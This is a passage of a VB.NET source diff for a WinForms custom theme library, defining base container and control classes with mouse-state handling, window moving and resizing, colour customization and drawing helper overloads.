ParentForm.TransparencyKey = _TransparencyKey + End If + + OnCreation() + MyBase.OnHandleCreated(e) + End Sub + + Protected Overridable Sub OnCreation() + End Sub + +#Region " Sizing and Movement " + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If _Sizable AndAlso Not _ControlMode Then InvalidateMouse() + MyBase.OnMouseMove(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + SetState(MouseState.None) + + If _Sizable AndAlso Not _ControlMode AndAlso GetChildAtPoint(PointToClient(MousePosition)) IsNot Nothing Then + Cursor = Cursors.Default + Previous = 0 + End If + + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + MyBase.OnMouseDown(e) + + If Not e.Button = Windows.Forms.MouseButtons.Left Then Return + SetState(MouseState.Down) + + If _IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized OrElse _ControlMode Then Return + + If _Movable AndAlso Header.Contains(e.Location) Then + Capture = False + DefWndProc(Messages(0)) + ElseIf _Sizable AndAlso Not Previous = 0 Then + Capture = False + DefWndProc(Messages(Previous)) + End If + End Sub + + Private GetIndexPoint As Point + Private B1, B2, B3, B4 As Boolean + Private Function GetIndex() As Integer + GetIndexPoint = PointToClient(MousePosition) + B1 = GetIndexPoint.X < 7 + B2 = GetIndexPoint.X > Width - 7 + B3 = GetIndexPoint.Y < 7 + B4 = GetIndexPoint.Y > Height - 7 + + If B1 AndAlso B3 Then Return 4 + If B1 AndAlso B4 Then Return 7 + If B2 AndAlso B3 Then Return 5 + If B2 AndAlso B4 Then Return 8 + If B1 Then Return 1 + If B2 Then Return 2 + If B3 Then Return 3 + If B4 Then Return 6 + Return 0 + End Function + + Private Current, Previous As Integer + Private Sub InvalidateMouse() + Current = GetIndex() + If Current = Previous Then Return + + Previous = Current + Select Case Previous + Case 0 + Cursor = Cursors.Default + Case 1, 2 + Cursor = Cursors.SizeWE + Case 3, 6 + Cursor = Cursors.SizeNS + Case 4, 8 + Cursor = Cursors.SizeNWSE + Case 5, 7 + Cursor = Cursors.SizeNESW + End Select + End Sub + + Private Messages(8) As Message + Private Sub InitializeMessages() + Messages(0) = Message.Create(Parent.Handle, 161, New IntPtr(2), IntPtr.Zero) + For I As Integer = 1 To 8 + Messages(I) = Message.Create(Parent.Handle, 161, New IntPtr(I + 9), IntPtr.Zero) + Next + End Sub + +#End Region + + +#Region " Property Overrides " + + Private BackColorWait As Color + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If IsHandleCreated Then + If Not _ControlMode Then Parent.BackColor = value + MyBase.BackColor = value + Else + BackColorWait = value + End If + End Set + End Property + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + +#End Region + +#Region " Properties " + + Private _Movable As Boolean = True + Property Movable() As Boolean + Get + Return _Movable + End Get + Set(ByVal value As Boolean) + _Movable = value + End Set + End Property + + Private _Sizable As Boolean = True + Property Sizable() As Boolean + Get + Return _Sizable + End Get + Set(ByVal value As Boolean) + _Sizable = value + End Set + End Property + + Private _MoveHeight As Integer = 24 + Protected Property MoveHeight() As Integer + Get + Return _MoveHeight + End Get + Set(ByVal v As Integer) + If v < 8 Then Return + Header = New Rectangle(7, 7, Width - 14, v - 7) + _MoveHeight = v + Invalidate() + End Set + End Property + + Private _ControlMode As Boolean + Protected Property ControlMode() As Boolean + Get + Return _ControlMode + End Get + Set(ByVal v As Boolean) + _ControlMode = v + End Set + End Property + + Private _TransparencyKey As Color + Property TransparencyKey() As Color + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.TransparencyKey Else Return _TransparencyKey + End Get + Set(ByVal value As Color) + If _IsParentForm AndAlso Not _ControlMode Then ParentForm.TransparencyKey = value + _TransparencyKey = value + End Set + End Property + + Private _BorderStyle As FormBorderStyle + Property BorderStyle() As FormBorderStyle + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.FormBorderStyle Else Return _BorderStyle + End Get + Set(ByVal value As FormBorderStyle) + If _IsParentForm AndAlso Not _ControlMode Then ParentForm.FormBorderStyle = value + _BorderStyle = value + End Set + End Property + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then + _ImageSize = Size.Empty + Else + _ImageSize = value.Size + End If + + _Image = value + Invalidate() + End Set + End Property + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _IsParentForm As Boolean + Protected ReadOnly Property IsParentForm As Boolean + Get + Return _IsParentForm + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + _ + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + +#End Region + +#Region " Property Helpers " + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal color As Color) + If Items.ContainsKey(name) Then Items(name) = color Else Items.Add(name, color) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal color As Color) + SetColor(name, color.FromArgb(a, color)) + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + +#End Region + + +#Region " Center Overloads " + + Private CenterReturn As Point + + Protected Function Center(ByVal r1 As Rectangle, ByVal s1 As Size) As Point + CenterReturn = New Point((r1.Width \ 2 - s1.Width \ 2) + r1.X, (r1.Height \ 2 - s1.Height \ 2) + r1.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal r1 As Rectangle, ByVal r2 As Rectangle) As Point + Return Center(r1, r2.Size) + End Function + + Protected Function Center(ByVal w1 As Integer, ByVal h1 As Integer, ByVal w2 As Integer, ByVal h2 As Integer) As Point + CenterReturn = New Point(w1 \ 2 - w2 \ 2, h1 \ 2 - h2 \ 2) + Return CenterReturn + End Function + + Protected Function Center(ByVal s1 As Size, ByVal s2 As Size) As Point + Return Center(s1.Width, s1.Height, s2.Width, s2.Height) + End Function + + Protected Function Center(ByVal r1 As Rectangle) As Point + Return Center(ClientRectangle.Width, ClientRectangle.Height, r1.Width, r1.Height) + End Function + Protected Function Center(ByVal s1 As Size) As Point + Return Center(Width, Height, s1.Width, s1.Height) + End Function + Protected Function Center(ByVal w1 As Integer, ByVal h1 As Integer) As Point + Return Center(Width, Height, w1, h1) + End Function + +#End Region + +#Region " Measure Overloads " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics + + Protected Function Measure(ByVal text As String) As Size + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End Function + Protected Function Measure() As Size + Return MeasureGraphics.MeasureString(Text, Font).ToSize + End Function + +#End Region + +#Region " DrawCorners Overloads " + + 'TODO: Optimize by checking brush color + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End Sub + +#End Region + +#Region " DrawBorders Overloads " + + 'TODO: Remove triple overload? + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + +#End Region + +#Region " DrawText Overloads " + + 'TODO: Remove triple overloads? + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + DrawText(b1, Text, p1.X, p1.Y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, x, y) + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + DrawTextSize = Measure(text) + DrawTextPoint = New Point(Width \ 2 - DrawTextSize.Width \ 2, MoveHeight \ 2 - DrawTextSize.Height \ 2) + + Select Case a + Case HorizontalAlignment.Left + DrawText(b1, text, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + DrawText(b1, text, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + DrawText(b1, text, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal p1 As Point) + DrawText(b1, text, p1.X, p1.Y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + G.DrawString(text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage Overloads " + + 'TODO: Remove triple overloads? + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = New Point(Width \ 2 - image.Width \ 2, MoveHeight \ 2 - image.Height \ 2) + + Select Case a + Case HorizontalAlignment.Left + DrawImage(image, x, DrawImagePoint.Y + y) + Case HorizontalAlignment.Center + DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y) + Case HorizontalAlignment.Right + DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y) + End Select + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient Overloads " + + 'TODO: Remove triple overload? + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradient(blend, x, y, width, height, 90S) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradient(c1, c2, x, y, width, height, 90S) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +End Class + +MustInherit Class ThemeControl + Inherits Control + + Protected G As Graphics, B As Bitmap + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + + _ImageSize = Size.Empty + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + Font = New Font("Verdana", 8S) + + InvalidateCustimization() + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Transparent AndAlso Not (Width = 0 OrElse Height = 0) Then + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + End If + + Invalidate() + MyBase.OnSizeChanged(e) + End Sub + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + + If _Transparent Then + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + Else + G = e.Graphics + PaintHook() + End If + End Sub + + Protected Overrides Sub OnHandleCreated(ByVal e As EventArgs) + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + If Not BackColorWait = Nothing Then BackColor = BackColorWait + + OnCreation() + MyBase.OnHandleCreated(e) + End Sub + + Protected Overridable Sub OnCreation() + End Sub + +#Region " State Handling " + + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + SetState(MouseState.None) + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + +#End Region + + +#Region " Property Overrides " + + Private BackColorWait As Color + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If IsHandleCreated Then + MyBase.BackColor = value + Else + BackColorWait = value + End If + End Set + End Property + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + +#End Region + +#Region " Properties " + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then + _ImageSize = Size.Empty + Else + _ImageSize = value.Size + End If + + _Image = value + Invalidate() + End Set + End Property + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private _Transparent As Boolean + Property Transparent() As Boolean + Get + Return _Transparent + End Get + Set(ByVal value As Boolean) + If Not value AndAlso Not BackColor.A = 255 Then + Throw New Exception("Unable to change value to false while a transparent BackColor is in use.") + End If + + SetStyle(ControlStyles.Opaque, Not value) + SetStyle(ControlStyles.SupportsTransparentBackColor, value) + + If value Then InvalidateBitmap() Else B = Nothing + + _Transparent = value + Invalidate() + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + _ + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + +#End Region + +#Region " Property Helpers " + + Private Sub InvalidateBitmap() + If Width = 0 OrElse Height = 0 Then Return + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + End Sub + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal color As Color) + If Items.ContainsKey(name) Then Items(name) = color Else Items.Add(name, color) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal color As Color) + SetColor(name, color.FromArgb(a, color)) + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + +#End Region + + +#Region " Center Overloads " + + Private CenterReturn As Point + + Protected Function Center(ByVal r1 As Rectangle, ByVal s1 As Size) As Point + CenterReturn = New Point((r1.Width \ 2 - s1.Width \ 2) + r1.X, (r1.Height \ 2 - s1.Height \ 2) + r1.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal r1 As Rectangle, ByVal r2 As Rectangle) As Point + Return Center(r1, r2.Size) + End Function + + Protected Function Center(ByVal w1 As Integer, ByVal h1 As Integer, ByVal w2 As Integer, ByVal h2 As Integer) As Point + CenterReturn = New Point(w1 \ 2 - w2 \ 2, h1 \ 2 - h2 \ 2) + Return CenterReturn + End Function + + Protected Function Center(ByVal s1 As Size, ByVal s2 As Size) As Point + Return Center(s1.Width, s1.Height, s2.Width, s2.Height) + End Function + + Protected Function Center(ByVal r1 As Rectangle) As Point + Return Center(ClientRectangle.Width, ClientRectangle.Height, r1.Width, r1.Height) + End Function + Protected Function Center(ByVal s1 As Size) As Point + Return Center(Width, Height, s1.Width, s1.Height) + End Function + Protected Function Center(ByVal w1 As Integer, ByVal h1 As Integer) As Point + Return Center(Width, Height, w1, h1) + End Function + +#End Region + +#Region " Measure Overloads " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics + + Protected Function Measure(ByVal text As String) As Size + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End Function + Protected Function Measure() As Size + Return MeasureGraphics.MeasureString(Text, Font, Width).ToSize + End Function + +#End Region + +#Region " DrawCorners Overloads " + + 'TODO: Optimize by checking brush color + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + If _Transparent Then + B.SetPixel(x, y, c1) + B.SetPixel(x + (width - 1), y, c1) + B.SetPixel(x, y + (height - 1), c1) + B.SetPixel(x + (width - 1), y + (height - 1), c1) + Else + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End If + End Sub + +#End Region + +#Region " DrawBorders Overloads " + + 'TODO: Remove triple overload? + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + +#End Region + +#Region " DrawText Overloads " + + 'TODO: Remove triple overloads? + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + DrawText(b1, Text, p1.X, p1.Y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, x, y) + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + DrawTextSize = Measure(text) + DrawTextPoint = Center(DrawTextSize) + + Select Case a + Case HorizontalAlignment.Left + DrawText(b1, text, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + DrawText(b1, text, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + DrawText(b1, text, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal p1 As Point) + DrawText(b1, text, p1.X, p1.Y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + G.DrawString(text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage Overloads " + + 'TODO: Remove triple overloads? + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = Center(image.Size) + + Select Case a + Case HorizontalAlignment.Left + DrawImage(image, x, DrawImagePoint.Y + y) + Case HorizontalAlignment.Center + DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y) + Case HorizontalAlignment.Right + DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y) + End Select + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient Overloads " + + 'TODO: Remove triple overload? + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradient(blend, x, y, width, height, 90S) + End Sub + Protected Sub 